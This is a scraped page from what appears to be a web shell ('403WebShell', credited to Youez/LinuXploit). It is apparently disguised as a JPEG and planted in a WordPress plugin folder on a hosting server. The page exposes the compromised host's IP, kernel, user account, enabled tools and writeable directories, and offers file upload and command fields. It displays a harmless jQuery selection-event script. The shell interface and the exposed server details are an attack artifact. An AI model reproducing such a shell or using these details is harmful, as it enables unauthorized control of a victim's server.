????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/motopress-content-editor/jquery/event/selection/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/motopress-content-editor/jquery/event/selection/selection.js
// a text selection event that is useful in mobile safari

steal('jquery/dom/range','jquery/controller','jquery/event/livehack').then(function($){


	var event = $.event;
	
	event.selection = {
		delay : 300,
		preventDefault : event.supportTouch
	};
	
	event.setupHelper( ["selectionStart","selectionEnd","selectionEnding","selectionMoving","selectionMove"], "mousedown", function(ev){
		//now start checking mousemoves to update location
		var delegate = ev.delegateTarget || ev.currentTarget,
			selector = ev.handleObj.selector,
			ready = false,
			el = this,
			startRange = $.Range(ev),
			getRange = function(ev){
				var range = $.Range(ev),
					pos = startRange.compare("START_TO_START", range),
					entire;
				if(pos == -1 || pos == 0){
					return startRange.clone().move("END_TO_END", range)
				} else {
					return range.clone().move("END_TO_END", startRange)
				}
			},
			cleanUp = function(){
				$(delegate).unbind('mousemove', mousemove)
				   .unbind('mouseup',mouseup);
				 clearTimeout(moveTimer);
				 startRange = null;
			},
			mouseup =  function(moveev){
				
				if(!ready){
					cleanUp();
					return 
				}
				$.each(event.find(delegate, ["selectionMoving"], selector), function(){
					this.call(el, moveev, range)
				});
				var range = getRange(moveev);
				cleanUp();
				$.each(event.find(delegate, ["selectionEnd"], selector), function(){
					this.call(el, ev, range);
				});
				
			},
			mousemove = function(moveev){
				// safari keeps triggering moves even if we haven't moved
				if(moveev.clientX == ev.clientX && moveev.clientY == ev.clientY){
					return;
				}
				
				if(!ready){
					return cleanUp();
				}
				$.each(event.find(delegate, ["selectionMoving"], selector), function(){
					this.call(el, moveev, range)
				});
				var range = getRange(moveev);
				$.each(event.find(delegate, ["selectionMove"], selector), function(){
					this.call(el, moveev, range)
				});
			},
			start = function(){
				ready = true;
				var startEv = event.selection.preventDefault ? $.Event('selectionStart') : ev;
				var startEv = $.extend(ev, startEv)
				$.each(event.find(delegate, ["selectionStart"], selector), function(){
					this.call(el, startEv, startRange)
				});
				
				if(event.selection.preventDefault && startEv.isDefaultPrevented()){
					ready = false;
					cleanUp();
				}
			},
			moveTimer;
			
		if(event.selection.preventDefault){
			ev.preventDefault();
			moveTimer = setTimeout(start, event.selection.delay);
		} else {
			start();
		}
		
		
		$(delegate).bind('mousemove', mousemove)
				   .bind('mouseup',mouseup)
	});
	
});

Youez - 2016 - github.com/yon3zu
LinuXploit